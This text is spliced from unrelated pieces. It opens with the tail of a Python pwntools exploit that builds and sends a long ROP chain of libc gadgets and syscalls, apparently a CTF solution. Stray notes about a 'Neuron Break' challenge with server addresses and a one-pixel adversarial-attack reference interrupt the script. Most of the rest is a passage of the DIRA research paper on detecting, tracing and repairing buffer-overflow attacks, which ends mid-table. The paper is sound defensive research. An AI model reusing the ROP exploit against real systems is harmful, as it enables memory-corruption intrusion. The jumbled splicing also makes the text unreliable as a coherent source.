p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(2800) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(2528) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(mov_rdi_rsp_call_rdx) rop+= p64(leaaxdi) rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) #---loop2 rop+= p64(pop_rax) rop+= p64(0x61afe0) rop+= p64(lea_rax)#N rop+= p64(pop_rdx) rop+= p64(0x602060)#k rop+= p64(leardx) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(32-8) rop+= p64(addraxrcx) rop+= p64(movr8rax)#2968->3048->3072 tmp11 = rop print "tmp11" print len(tmp11)-len(tmp1)+24 rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) #j3 rop+= p64(pop_r12) rop+= p64(pop_r15) rop+= p64(pop_rdx) rop+= p64(pop_r15) rop+= p64(mov_rdi_rsp_call_rdx)# 3032->3112->3136 tmp12 = rop print "tmp12" print len(tmp12)-len(tmp1)+24 rop+= p64(pop_rax) rop+= p64(0x61afc8)#i rop+= p64(lea_rax)#N rop+= p64(pop_rcx) rop+= p64(1) rop+= p64(subaxcx) rop+= p64(pop_rdx) rop+= p64(0x61afc8)#i rop+= p64(leardx) rop+= p64(pop_rdx) rop+= p64(pop_rdx) rop+= p64(pop_rbx) rop+= p64(0) rop+= p64(cmpaxbx) rop+= p64(0) rop+= p64(sete) rop+= p64(movdxax) rop+= p64(pop_rax) rop+= p64(ret) rop+= p64(movbxdx) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(salbl) rop+= p64(movaxbx) rop+= p64(0) rop+= p64(pop_rcx) rop+= p64((36+19+6)*8) rop+= p64(addraxrcx) rop+= p64(addraxrdi) rop+= p64(movr8rax)#3296->3384->3392->3384->3408 tmp13 = rop print "tmp13" print len(tmp13)-len(tmp1)+24 rop+= p64(pop_rax) rop+= p64(0x61afe0) rop+= p64(lea_rax)#N rop+= p64(pop_rdx) rop+= p64(0x602060)#k rop+= p64(leardx) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(3408) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(movr8rax) rop+= p64(leaaxdi) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(3136) rop+= p64(addraxrcx) rop+= p64(pop_rdi) rop+= p64(mov_rdi_rsp_call_rdx) rop+= p64(leaaxdi) rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) #---loop3 rop+= p64(pop_rax) rop+= p64(0x61afe0) rop+= p64(lea_rax)#N rop+= p64(pop_rdx) rop+= p64(0x61afc0)#j rop+= p64(leardx) rop+= p64(pop_rax) rop+= p64(0x61af70) rop+= p64(lea_rax) rop+= p64(pop_rcx) rop+= p64(32-8) rop+= p64(addraxrcx) rop+= p64(movr8rax)#3568->3656->3704->3712->3704->3728 tmp14 = rop print "tmp14" print len(tmp14)-len(tmp1)+24 rop+= p64(pop_rdx) rop+= p64(ret) rop+= p64(movrspr8) #---fin syscall = 0x00000000000d2975+libc_base# : syscall ; ret rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(ret) rop+= p64(0xdeadbeef) rop+= p64(pop_rax) rop+= p64(60) Neuron Break Neuron Break http://111.186.63.205:5000/ Neuron_Break.zip http://111.186.63.17/neuron_break. zip Not a web challenge :) https://github.com/Hyperparticle/one-pixel-attack-keras 8 lenet untargeted attack one pixel attack differential_evolution attackMSE rop+= p64(syscall) ### #rop+= p64(0x4013bf) print len(rop) raw_input() p.send(rop.ljust(0x10000,'\x00')) ##### #mov_rdi_rsp_call_rdx:1304 #### p.interactive()
pdf
DIRA: Automatic Detection, Identification, and Repair of Control-Hijacking Attacks Alexey Smirnov Tzi-cker Chiueh Computer Science Department State University of New York at Stony Brook Stony Brook, NY 11794-4400 {alexey, chiueh}@cs.sunysb.edu Abstract Buffer overflow attacks are known to be the most com- mon type of attacks that allow attackers to hijack a re- mote system by sending a specially crafted packet to a vulnerable network application running on it. A compre- hensive defense strategy against such attacks should in- clude (1) an attack detection component that determines the fact that a program is compromised and prevents the attack from further propagation, (2) an attack identifica- tion component that identifies attack packets so that one can block such packets in the future, and (3) an attack repair component that restores the compromised applica- tion’s state to that before the attack and allows it to con- tinue running normally. Over the last decade, a significant amount of research has been vested in the systems that can detect buffer overflow attacks either statically at com- pile time or dynamically at run time. However, not much effort is spent on automated attack packet identification or attack repair. In this paper we present a unified solu- tion to the three problems mentioned above. We imple- mented this solution as a GCC compiler extension called DIRA that transforms a program’s source code so that the resulting program can automatically detect any buffer overflow attack against it, repair the memory damage left by the attack, and identify the actual attack packet(s). We used DIRA to compile several network applications with known vulnerabilities and tested DIRA’s effectiveness by attacking the transformed programs with publicly avail- able exploit code. The DIRA-compiled programs were always able to detect the attacks, identify the attack pack- ets and most often repair themselves to continue normal execution. The average run-time performance overhead for attack detection and attack repair/identification is 4% and 25% respectively. 1. Introduction A control-hijacking attack overwrites some data struc- tures in a victim program that affect its control flow, and eventually hijacks the control of the program and possibly the underlying system. A data structure that can affect the control flow of a program is called a control-sensitive data structure, examples of which include return address, func- tion pointer, global offset table/import table, C++ virtual functions table pointer, etc. Once an attacker grabs con- trol of the victim program, she can invoke any operation to which the victim program’s effective user is entitled. Control-hijacking attacks are considered the most danger- ous type of attacks because they exploit software bugs di- rectly without requiring any user actions, and because ma- licious computer worms use them as basic building blocks to propagate themselves from one machine to another. Over the last decade, a significant amount of research has been invested in the detection of control-hijacking at- tacks. Some are based on program analysis techniques [38, 12, 19, 26, 32, 37] that statically determine whether a given program contains buffer overflow vulnerability. Others use program transformation techniques [8, 11, 10, 14, 36, 9] to convert applications into a form that can ei- ther detect control-hijacking attacks [8, 10, 14, 9] or pre- vent control-sensitive data structures from being modified at run time [11]. Still others develop operating system mechanisms that ensure that it is not possible to execute code injected into the victim program [34, 27]. Regardless of their approach, most if not all of these efforts could only determine whether a program is under a control-hijacking attack, but could not actively repair a victim program af- ter it has been compromised. Typically, upon detecting an attack, they simply terminate the victim application, and restart another instance if necessary. While terminating a compromised application helps prevent further propaga- tion of the attack, it may lead to a denial of service at- tack. For network applications with a substantial amount of state such as a DNS sever, it takes some time for them D I R Stackguard [10], RAD[8] + - - Buttercup [29], Autograph [21] - + - Flashback [33], IGOR [13] - - + DIRA + + + Table 1. Previous work addressing problems of attack (D)etection, (I)dentification, and (R)epair. to re-acquire the necessary state at start-up in order to pro- vide the full service. For these applications, abrupt termi- nation is not an acceptable attack recovery strategy. More- over, because existing control-hijacking attack detection systems cannot prevent the same attacks from taking place again, vulnerable applications may be repeatedly victim- ized and re-started in the presence of recurring attacks as in the case of worms. In the mean time, these applications cannot render any useful service to their intended users. To address the limitations of existing systems that focus only on detection of control-hijacking attacks, this project aims to develop a program transformation system called DIRA that can automatically transform an arbitrary appli- cation into a form that • Can detect a control-hijacking attack when the control-sensitive data structure it tampers with is ac- tivated, • Can identify the network packets that lead to the control-hijacking attack, and send these packets to a front-end content filter to prevent the same attack from compromising the application again, and • Can repair itself by erasing all the side effects of the attack packets as if it never received them. To the best of our knowledge, attack detection, repair and identification have never been considered together previously. Table 1 puts in perspective related projects in each of these three areas. The main contribution of this paper is the development of a unified solution to all three problems. Even though on the surface attack detec- tion, identification, and recovery appear to be completely orthogonal functions, a careful examination reveals that they can actually be unified into a single implementation framework that is based on memory update logging. To repair a program’s memory state, all updates to its ad- dress space should be logged so that these updates can be reversed. To detect a control-hijacking attack, the be- fore image of a control-sensitive data structure should be stored away, and checked at the time of activation to see if any tampering took place. To trace back the packets re- sponsible for a detected attack, the backward slice of the corrupted control-sensitive data structure needs to be first computed and then intersected with the incoming packets. DIRA takes an application’s source code, and inserts ad- ditional logging code so that the resulting application can detect, identify, and recover from any control-hijacking attacks in a way that is completely independent of the un- derlying operating system and hardware. The rest of this paper is organized as follows. Section 2 reviews previous research on detection and prevention methods for control-hijacking attacks, as well as on pro- gram rollback. Section 3 describes the logging algorithms and data structures used in the DIRA compiler. In Section 4 we discuss the implementation details of the DIRA com- piler. Section 5 presents the performance measurements of a fully operational DIRA prototype and their analysis. Section 6 concludes this paper with a summary of major research contributions and a brief outline of the on-going work. 2. Related Work Our work is based upon previous work in three broad areas of systems research: buffer overflow attacks detec- tion, malicious code identification, and program rollback and replay. Approaches to detect buffer overflow attacks can be di- vided into two groups: static techniques that detect po- tential buffer overruns by examining program’s source code and dynamic techniques that protect programs at run- time. Wilander et. al. [39, 40] present a comprehensive overview of tools of both types. Greiner [16] gives an overview of manual code auditing techniques that help de- tect potential vulnerabilities. The real cause of buffer overflows is unchecked pointer or array access. Jones and Kelly [20] and Austin et. al. [3] propose to check each pointer access at run time to solve this problem. This requires augmentation of the standard pointer representation with additional fields such as the extent of the memory region that the pointer is referring to. Both systems are implemented as C compiler exten- sions that instrument the source code of the program in such a way that the modified program checks each pointer access it performs at run-time. Purify [18] is a similar tool that instruments program’s object code and therefore does not require access to its source code. However, all these tools suffer from a significant performance overhead which can be more than 500% in some cases. CRED [31] is a project that aims to provide a comprehensive mem- ory access bounds checking at a reasonable cost. Unlike other bounds checking projects, CRED checks the access correctness for pointers to character strings only assuming that improper string manipulation is responsible for most buffer overflow attacks. The reported overhead of CRED is less than 26%. Such a moderately high overhead indi- cates a need for more lightweight and inexpensive protec- tion mechanisms. The return address is the most common target of buffer overflow attacks. Stackguard [10] is a system that pro- tects the return address by placing a canary word on the stack before the return address. It is based on the assump- tion that overwriting the return address requires overwrit- ing the part of the stack immediately preceding it. If the canary word is found modified upon the function return then an attack has taken place. RAD [8] takes a different approach. It copies the return address to a buffer called the return address repository which is protected from both sides by applying mprotect() system call. Similarly, it compares the return address on the stack with the saved value and raises the red flag if the two values are differ- ent. StackShield [36], ProPolice [11], and StackGhost [14] are similar systems that protect other code pointers such as function pointers and stack frame register in addi- tion to the return address. FormatGuard [9] provides a set of wrapper functions that protect a program from format string attacks. Another approach to buffer overflow prevention is pre- sented by Baratloo et. al. [4]. They develop a dynamic library called Libsafe that provides wrappers for common libc functions that are prone to buffer overflows. This library is transparently inserted at run-time between the application being protected and libc using LD_PRELOAD environment variable. The protection mechanism is based on estimating the boundaries of the stack frame of the call- ing function and assuming that no function can write be- low that boundary. A typical buffer overflow attack executes the injected code on the stack. Therefore, making stack non- executable will prevent any stack-based attack. PaX [34] and Openwall [27] are two Linux kernel patches that im- plement non-executable stacks. This approach has some limitations, however. First, attacks that inject their code into data segment as well as return-into-libc attacks will still work. Second, Linux signal handlers and some func- tional languages such as LISP require the stack to be exe- cutable. Essentially, the problem of detecting a buffer overflow attack relies on a mechanism to monitor a particular mem- ory location (such as a return address). A similar problem exists in software debugging in which case a dynamically monitored memory location is called a watch-point. Ex- isting solutions of this problem can be divided into run- time dynamic checking techniques [17, 18] and hardware- based techniques [25, 30, 41]. The problem of automatic identification of malicious code became increasingly important in the past few years since worms epidemics started to happen more and more frequently and at higher speeds. Given the speed of prop- agation of the recent worms, it is hopeless to rely on a human-based methods for signature generation as by the time the proper signature is created and distributed among computer users, the worm is likely to infect a significant number of computer systems. Autograph [21] is a system that generates worm signatures automatically by detect- ing common byte sequences in suspicious network flows. In this system, a network flow is considered suspicious if it comes from a host that is believed to perform port scanning. Toth and Kruegel [35] propose a system that detects malicious code in packet payloads by performing abstract execution of the payload data. Buttercup [29] is a system aimed at preventing polymorphic worms with known signatures from entering the system. It identifies the ranges of possible return addresses for existing vul- nerabilities and checks whether a network packet contains such addresses. Another approach to identifying malicious code is to analyze the execution trace of a compromised program. Given the address of the compromised control-sensitive data structure, one can use dynamic slicing techniques [24, 22, 23] to find out all statements of the program that affected the value of this data structure. This allows one to trace back the origin of the malicious data that was written to this data structure to the point where it first appeared in the program. Therefore, one can completely restore the compromising network packet or user input. Agrawal and Horgan [2] discuss several approaches for computing dy- namic slices and introduce the notion of a dynamic depen- dence graph. Finally, yet another approach to malicious input iden- tification it to use a technique similar to Perl taint mode. The idea is to assign different tags to all user inputs and propagate these tags along through all memory operations. Upon discovering a compromised data structure, one can identify the origin of the malicious data by looking at the tag currently associated with that memory location. System support for rollback and reverse execution is an- other related area of systems research. Although not re- lated directly to post-attack recovery, these mechanisms can be readily adapted to rollback a program to a pre- attack state. Systems that have a rollback capability rely on one of the following techniques: they either keep the execution history [1] or do periodic state checkpointing [13, 28, 33]. For example, Igor [13] is a system that saves modified memory pages at each checkpoint. RECAP [28] and Flashback [33] use copy-on-write fork() system call to checkpoint their execution state. Spyder [1] is based on the notion of execution history. During its normal execu- tion, Spyder records the program counter and the old val- ues of all variables that the current instruction will change. All these systems require specific support from the under- lying OS. An alternative way of bringing a compromised system to the normal state is a complete restart. Candera et. al. [7, 6] develop the concept of micro-reboots. According to this concept, a complex system comprised of many indi- vidual components (such as a large Internet service) can be efficiently repaired in case of a fault or an attack by performing a micro reboot of a single failed component rather than that of the whole system. If the problem cannot be fixed by micro-rebooting then it is deferred to human operators. 3. Attack Detection, Identification, and Re- pair DIRA makes programs capable of attack detection, identification and repair by using a combination of static and dynamic techniques. At compile time, the DIRA com- piler instruments the source code of a program in a num- ber of ways. First, it inserts proper memory updates log- ging code that allows the program to keep track of every memory update it performs. Second, the DIRA compiler inserts the code that checks every control-sensitive data structure before it is used. Finally, a number of special functions that allow the program to identify attack pack- ets and repair itself are added to the program. At run time, the instrumented program generates a memory up- dates log which can be used to identify attack packets and repair the program once an attack is detected. The logged information is also used to check the control-sensitive data structures at run time when they are about to be used. If a control-sensitive data structure is found compromised, the attack identification and repair functions are called. The amount of logging information as well as the type of information stored in the log depends on the mode in which DIRA operates. There are three modes of oper- ation: compilation to support attack detection only (D- mode), compilation to support detection and identification (DI-mode) and finally compilation to support detection, identification, and repair (DIR-mode). Each successive mode requires more information to be logged. In this sec- tion we describe how memory update logging works and how the logged information is used in attack detection, identification, and repair. 3.1. Attack Detection Most of the control-hijacking attacks modify some control-sensitive data structures in the victim program, such as a return address, a function pointer, or a jump ta- ble, through buffer overflowing. Once the compromised data structure is used in a control transfer, the attacker hi- jacks the control of the application. The approach to attack detection used by DIRA is similar to that developed in RAD project [8]. To detect control-hijacking attacks at run time, the DIRA compiler maintains the original image of every control-sensitive data structure, and at the time of control transfer compares the current value of the associated control-sensitive data structure with its original image to determine whether it has been modified via buffer overflowing. Current ver- sion of the DIRA compiler protects only return addresses and function pointers as they are the most common attack targets. In particular, the DIRA compiler instruments an input program as follows: • At the function prologue, the return address is stored in the return address buffer. At the function epilogue, the return address on the stack is compared with the stored value in the return address buffer. If there is a mismatch, the return address has been tampered with and a control-hijacking attack is detected. • Every time a function pointer is modified in the pro- gram, its newest value is stored in an existing or new entry of the function pointer buffer. This includes the case when a function pointer is passed as an input ar- gument into a function. There are also other ways to modify a function pointer, for example by overwrit- ing it using memcpy() function. The current version of the DIRA compiler supports only simplest kind of function pointer modification when it is updated through a direct assignment. Each entry of the func- tion pointer buffer contains two fields: the address of a function pointer variable and its value. Every time a function pointer is about to be used in a function call, its current value is checked against the function pointer’s stored value. The mismatch of the two val- ues is the indication of an attack taking place. Because the return address buffer and the function pointer buffer are supposed to contain the ground truth, they should be well protected such that tampering via buffer overflowing is impossible. Otherwise, if an attacker can overflow both a control-sensitive data structure and its as- sociated duplicate buffer, she can defeat this attack detec- tion method. Towards this end, both the return address buffer and the function pointer buffer are sandwiched in- side a pair of read-only pages. Any attempts to modify these two buffers via overflowing will result in protection faults. An attacker might try to compromise the system by guessing the address of such a buffer and writing to it directly without having to go through the protected pages. In order to reduce significantly the likelihood of a suc- cessful attack, such a buffer can be allocated at a random memory location. This technique is not implemented yet in the current version of DIRA. In theory, the DIRA compiler can also protect jump tables in the same way as function pointers. However, because there have never been any real control-hijacking attacks that tamper with jump tables, for simplicity we chose to ignore jump table protection in the current proto- type. 3.2. Memory Updates Logging The purpose of memory updates logging is to make it possible to trace back incoming packets that are responsi- ble for the detected attack, and to restore the victim pro- gram back to the state before the attack packets were re- ceived. Keeping a copy of a control-sensitive data struc- ture for attack detection can be seen as a special form of memory updates logging. To associate corrupted control- sensitive data structures with incoming packets, for each incoming packet it is necessary to compute all data vari- ables that directly or indirectly depend on the incoming packet. If a corrupted control-sensitive data structure is data-dependent on an incoming packet, the packet is con- sidered an attack packet and its contents will be used for content filtering. To allow a program to be rolled back to the state it was in before receiving an attack packet, a snapshot of the program’s state should be checkpointed every time it receives a packet. However, the performance over- head of this approach is too high to be feasible. Instead, DIRA uses a fine-grained asynchronous checkpointing ap- proach, which logs updates only to global or static vari- ables, and performs these logging operations in an incre- mental fashion rather than in one batch. When choos- ing this approach, DIRA assumes that during the inter- val between when a control-hijacking attack is detected and when the corresponding attack packet is received, the program will not be able to undo any file or network I/O operations. Therefore, memory updates logging can only erase attack’s side effects on the memory state of the pro- gram, but not on its file system state. Each record of the memory update log has four fields: read_addr, write_addr, len, and data. We will de- scribe the meaning of each field below. Most if not all control-hijacking attacks use one or mul- tiple network packets to overrun a buffer in the victim pro- gram and eventually overwrite some control-sensitive data structures. Therefore, the content of the corrupted control- sensitive data structure is derived from the attack packets through a series of memory copying operations. Memory image of a program can be changed by either the program itself or by a library function call made by the program. To handle the updates of the former type, DIRA logs the ef- fects of assignment statements of the following form: X = Y, where X and Y are directly referenced variables, array references (e.g., a[i]) or de-referenced variables (e.g., *(a+1)). The read address field contains the address of the right-hand-side variable of the assignment operation, in this case Y’s address. The write address field holds the address of the left-hand-side variable being modified, in this case X’s address. The length field is the size of the modified variable, size of X in this case. The data field is not used when DIRA operates in DI-mode. In DIR-mode, this field stores the pre-image of X, the variable being writ- ten to. It is not always possible to uniquely identify the read address, for instance if Y is a complex expression containing a number of variables or a function call. In this case the read address is set to “-1,” which indicates that the data origin of this assignment is unknown. The second source of memory image changes are stan- dard library calls such as memcpy(). DIRA proxies several libc functions that can change program’s mem- ory state. Whenever a function that is proxied is called, the corresponding proxy function also produces a mem- ory updates log record that summarizes the side effects of the function call. The fields of the memory updates log en- try are set differently for different proxied functions. We will discuss all the functions proxied by DIRA below. Some programs provide an alternative implementation of standard libc functions. Such functions will be com- piled by DIRA thus providing necessary support for attack detection, identification and repair as long as these func- tions are written in standard C. If, however, the new libc functions are implemented using inline assembly (for per- formance reasons, for example), then DIRA will not be able to instrument them. The above memory update logging algorithm imple- ments both state checkpointing and data dependency tracking. Moreover, the DIRA compiler inserts logging code for each assignment operation of the form specified above without performing any sophisticated data or con- trol flow analysis. As a result, the implementation com- plexity of the DIRA compiler is greatly simplified. To reduce memory updates logging overhead, DIRA tries to avoid unnecessary logging operations. In its default mode, DIRA does not log updates of the form X=Y if X is a local variable referenced directly. The reason behind this is the assumption that local variables referenced directly are usually used as temp variables (for example, as loop variables) and do not contain any data coming from external sources. Although in general this approach can miss certain dependencies, it turns out that quite often enough information is logged to identify the malicious input. Figure 1 shows the abbreviated source code of a simpli- fied network service application containing a buffer over- flow vulnerability. To ensure that omitting local updates logging is usually harmless, let us consider the logging operations performed by the program compiled in DIR- mode and determine that this information is sufficient to identify the attack packet. Function do_packet() calls function get_packet(), which receives a packet by call- ing recv(). This is one of the functions proxied by DIRA. The corresponding proxy function logs the pre- image of buf by setting the write_addr field to the value of buf. Then the control flow goes back to function do_packet(). The assignment of the returned value to variable last is not logged because last is a local vari- able referenced directly. Function process_packet() is called next taking last as its only argument. The as- signment of buf to packet is not logged either because packet is also a local variable referenced directly. Next there is a call to function strcpy() which is also proxied by DIRA. This function copies some data from packet into a limited-space buffer name without checking the length of packet->name, and thus represents an attack target. The read_addr field of the corresponding log record is set to the address of packet->name. To summa- rize, the memory update log contains two entries relevant to the packet being processed. None of the intermediate assignment operations are logged. Nevertheless, it is still possible to identify the packet that should be held respon- sible when an attack is detected. Indeed, variable packet of function process_packet() contains the same ad- dress as variable buf of function get_packet(). All in- termediate assignments transfer the value of the pointer that points to the buffer containing the attack packet. Memory updates log contains additional information when DIRA works in the DIR-mode. This mode requires storing additional information in the log such as marks that indicate function boundaries and potential restart points. We call such records tags. There are several types of tags. The tag type is stored in the field read_addr. The remaining fields are used differently for each tag. We will describe each tag type one by one in Section 3.4. 3.3. Attack Identification Upon detecting a control-hijacking attack, we assume that the corrupted control-sensitive data structure is com- promised by some data that might have been read from the console by a gets() call or from a network socket by a recv() call. In these cases, it is important to identify the source of corruption and take proper measures to prevent the same compromise from happening again. Of course, it is also possible that the control-sensitive data structure was actually overwritten due to a mistake in the program’s internal logic. In this case, the program should be just ter- minated since no automatic repairing can stop the same compromise from recurring. To identify the data item read from the network or a file that is responsible for the corruption of a control- sensitive data structure, we need to trace back the depen- dency graph, starting from the corrupted control-sensitive data structure. This tracing relies on the read address and write address fields of the memory updates log entries. Let MA (modified address) be the address of a corrupted control-sensitive data structure, i.e., a return address or a function pointer. In most cases, it was tampered with as a result of an unchecked array-to-array copy operation such as strcpy(). Each of such modifications leaves a record in the memory updates log. Therefore, the tracing begins with the most recent memory updates log entry whose write address is equal to MA, and uses the read address field of this entry as a key to search the memory updates log to find the most recent log entry whose write address matches it, etc. This process continues iteratively until reaching a memory updates log entry whose read address is set to one of the special values described below, which means that the data written to the write address of that en- try comes from an external source. The above trace-back algorithm is formally described in Figure 2. To support attack identification, the following classes of libc functions need to be “proxied”: copy- ing/concatenation functions such as strcpy(), network I/O functions such as recv(), file I/O functions such as read() (which can also read data from network), and format string functions such as sprintf(). The com- plete list of functions proxied by DIRA including those required for post-attack recovery only is presented in Ta- ble 2. Copying/concatenation Functions. Each proxy func- tion from this group generates a log record. For instance, a log record for a strcpy(a, b) function call contains the address of b in its read_addr field, the address of a in its write_addr field, strlen(b) in its len field. The data field is set to NULL as no data is required for the traceback algorithm. After generating a log record the proxy function calls the corresponding libc function and returns its result. Network I/O and File I/O Functions. These proxy functions also generate one log record each time they are called. The read_addr field of these records is set to a special value indicating the external source of the data be- ing logged. In addition, they make use of data field of the log record. This field stores the post-image of the mem- ory buffer, that is, the data that was actually read from the network or a file. This data is the malicious network or file data that can lead to a buffer overflow attack. It is pre- sented as the result of the traceback algorithm if a buffer overflow attack is detected. This data can be sent to a front-end intrusion-detection system, which can then use it to prevent the same attack from reaching internal hosts again. This automatic attack packets extraction capabil- ity protects an enterprise from worm-like attacks, where attacking or compromised hosts tend to send out attack packets that are largely the same. void do_packet() { packet_t *get_packet() { void process_packet(char *buf) { packet_t *last; char *buf=malloc(PACKSZ); char name[10]; last=get_packet(); recv(sock, buf, PACKSZ, 0); packet_t *packet; process_packet(last); return buf; packet=(packet_t*)buf; } } strcpy(name, packet->name); } Figure 1. An example of a program vulnerable to a buffer overflow attack. cur_addr=MA; while (more_log_entries && cur_addr̸=0) ent=get_prev_log_entry(); if ent.write_addr ≤cur_addr && ent.write_addr+ent.len>cur_addr then cur_addr=ent.read_addr+(cur_addr-ent.write_addr); end; if (cur_addr̸=0) { printf(“Can’t find source of attack\n”); exit(0); } /* ent is the required log entry */ Figure 2. The traceback algorithm used to locate the source of a buffer overflow attack based on a corrupted control-sensitive data structure. 3.4. Attack Repair Although DIRA’s attack detection mechanism can suc- cessfully prevent a control-hijacking attack from taking over a victim application, the application itself may need to be terminated as a result of such an attack. This “ter- minate and restart” approach to recover from a control- hijacking attack is not always desirable. Instead, it is bet- ter if the victim application can simply erase the effects of the attack packets as if these packets never happened. There are two issues involved in this program state repair process: (1) From which state should a victim program restart? (2) How to restart a victim program without spe- cial OS support? Because DIRA logs only updates to global and array- like variables, it can only restart a program from the en- try point of a function. The proper function f_restart turns out to be the least common ancestor of the function in which the attack was detected and the function in which the malicious external data was read in. We will call the function called from f_restart, which eventually led to malicious data read operation f_read and the function that eventually led to the attack f_attack (both can be the same function or even f_restart). The reason be- hind choosing f_restart the way we described it above is the fact that the stack frame of the dynamic parent of f_restart has not changed between the point when the malicious data was read in and the point when an attack was detected whereas the stack frame of any other func- tion called after f_restart as well as f_restart itself might have changed between the two moments. Since we do not track any local variable updates we will not be able to bring the program back to a consistent state older than the state in which it was right before f_restart was called. There is an exception from this rule, however. If there are no local variable updates in f_restart between the point after f_read returns and before f_attack be- gins, we can safely restart the execution from f_read in- stead of f_restart. Sometimes, it is still possible that the whole pro- gram will need to be restarted. Indeed, this happens if f_restart turns out to be function main() and there are some local variable updates made between when f_read returns and f_attack begins. While evaluating DIRA we have encountered one such program. One way to avoid this problem is to track all variable updates including lo- cal ones, but that may significantly increase the run-time overhead. If the repair algorithm finds that the program needs to be restarted from the beginning, the program is simply terminated and restarted afterwards. Identifying the function that reads in the malicious ex- ternal data is a part of attack identification process and therefore does not incur any extra run-time overhead while the program is running normally. Figure 3 illustrates how the restart point is chosen with a typical buffer overflow attack scenario. In this case, either f2() or f1() can be chosen as the new restart point. The decision depends on whether there are any local variable updates in f1() after return from f2() until the call to f4(). DIRA does not require any system support for program restart. Instead, it uses inter-procedural jump functions setjmp() and longjmp() to implement this functional- ity. Figure 4 shows the algorithm that DIRA uses to find the least common dynamic ancestor between the function that detects an attack or a corruption of some control-sensitive data structure, and the function that inputs the malicious data from the memory updates log. Logically, the algo- rithm traverses the memory updates log backwards to find the first function whose function entry tag is earlier than the function entry tag of both functions. The algorithm includes two steps. The purpose of the first step is to find out the depth of f_read with respect to the least com- mon dynamic ancestor of f_read and f_attack. In or- der to determine this depth the memory updates log is tra- versed in backwards direction. The traversal starts from the last log entry and continues until the function entry tag of f_read is reached. Variable depth is a loop in- variant and has the following meaning. It contains the rel- ative depth of the function which the current log record belongs to with respect to the greatest dynamic ancestor function of f_attack seen so far. It is obvious that the traversal will sooner or later go through a log entry that be- longs to the least common dynamic ancestor of f_read and f_attack because the control flow should have re- turned to this function at least once between the point when f_read was called and the point when f_attack was called. Therefore, depth will eventually contain the relative depth of f_read with respect to the least common dynamic ancestor. At each loop iteration, variable depth is updated as follows. If the tag of the current log record is a function entry tag and the depth equals 0 then the next log record to be traversed corresponds to a dynamic parent of the current function, and therefore it becomes the current greatest dynamic ancestor in which case the value of depth does not need to be changed. If, however, the tag of the current log entry is a function exit tag then the function which that log entry belongs to was called from the current function. Therefore, we need to increase depth by one. Finally, if the tag of the current log entry is a function entry tag and the depth is greater than zero then we need to decrement depth by one as this means that the current function is a dynamic child of the greatest an- cestor function. To summarize, at the end of the first step variable depth equals the relative depth of f_read with respect to the least common dynamic ancestor. All we need to do after that is to traverse the log backwards until we reach a function whose relative depth with respect to the least common ancestor is zero. The beginning of this function is the beginning of the least common dynamic ancestor of f_read and f_attack. Finding a restart point requires augmentation of the memory updates log with several types of tags which are inserted to the log when the program runs normally. These tags are function entry tag, function exit tag, jump buffer tag, and first local update tag. Upon entering a function DIRA inserts a function entry tag into the memory updates log. Similarly, when the function returns a function exit tag is inserted. When a function call is made, DIRA in- serts a call to setjmp(buf) where buf is the data field of a memory log record. The read_addr of this record is set to the jump buffer tag. This makes the point preceding the function call a potential restart point. At repair time, the control can be transfered to this point by performing longjmp(buf). Finally, the first local update tag is in- serted to the log when the first update to a local variable is encountered after a function call. These tags are used at repair time to determine the actual restart point, which can be either f_read if no such tags are found in f_restart between the call to f_read and the call to f_attack, or f_restart if at least one local update tag was found. Once the restart point is determined, the memory state of the program needs to be rolled back to the state corre- sponding to the new execution point. To do so, the attack recovery module needs to traverse the memory updates log in the reverse direction until it reaches the restart point, undoing each global variable update along the way. After the undo, the recovery module performs a longjmp() us- ing the jmp_buf corresponding to the restart point. To restore the memory image of the program the com- plete pre-image of each memory update should be stored in the data field of the corresponding log record. The same is also true about libc functions proxied by DIRA. For instance, strcpy(a, b) call needs to store the pre- image of buffer a of length strlen(b) in the data field of memory updates log record. In addition, several other classes of libc functions need to be proxied. They are: memory management functions, privilege manage- ment functions, process management functions, and inter- procedural jumps functions. The complete list of proxied functions is presented in Table 2. Below we will consider each group of functions in more detail. Memory Management Functions. Each function in this group is proxied for the following reason: at re- pair time, the program needs to be able to undo not only global memory changes, but also memory manipulation functions it called before. The proxy_malloc() calls malloc() first and stores the address of the newly allo- cated object in the memory updates log. At repair time if this record needs to be rolled back, this memory object is freed. During repair time we also need to reallocate objects that were previously deallocated. This is achieved by proxying free(). A straightforward way to restore the object that was deallocated is to allocate it again with malloc(). However, the new object may be created at a new memory locations and all earlier references to it in execution flow f1() f2() f3() f4() f5() gets(big_buf); strcpy(small_buf, big_buf); attack detected! f5 f4 f1 f2 f3 f2 f1 memory updates log depth -1 -> 0 -1 -> 0 1 2 1 0 -1 possible restart points f0() time 0 f_restart f_attack f_read Figure 3. An example illustrating how to identify the least common dynamic ancestor in the function call graph and use it as the restart point. The right-hand side shows the memory updates log where f1–f5 are the same functions as those on the left-hand side. The ovals correspond to function boundaries. The depth values are the values of depth variable that is defined in Figure 4. f_read — function in which malicious data was read in; ent_beg=first log entry of f_read (function entry tag); depth=0; ent=last_log_entry(); while (ent!=ent_beg) if (ent.tag is function entry tag) then depth−−; if (ent.tag is function exit tag) then depth++; if (depth<0) then depth=0; ent=get_prev_log_entry(); end; /* second phase */ while (depth≥0) if (ent.tag is function entry tag) then depth--; if (ent.tag is function exit tag) then depth++; ent=get_prev_log_entry(); end; Figure 4. Algorithm for finding the least common dynamic ancestor in the function call graph. Function class Libc functions Copying/concatenation memcpy(), mempcpy(), memmove(), strcpy(), 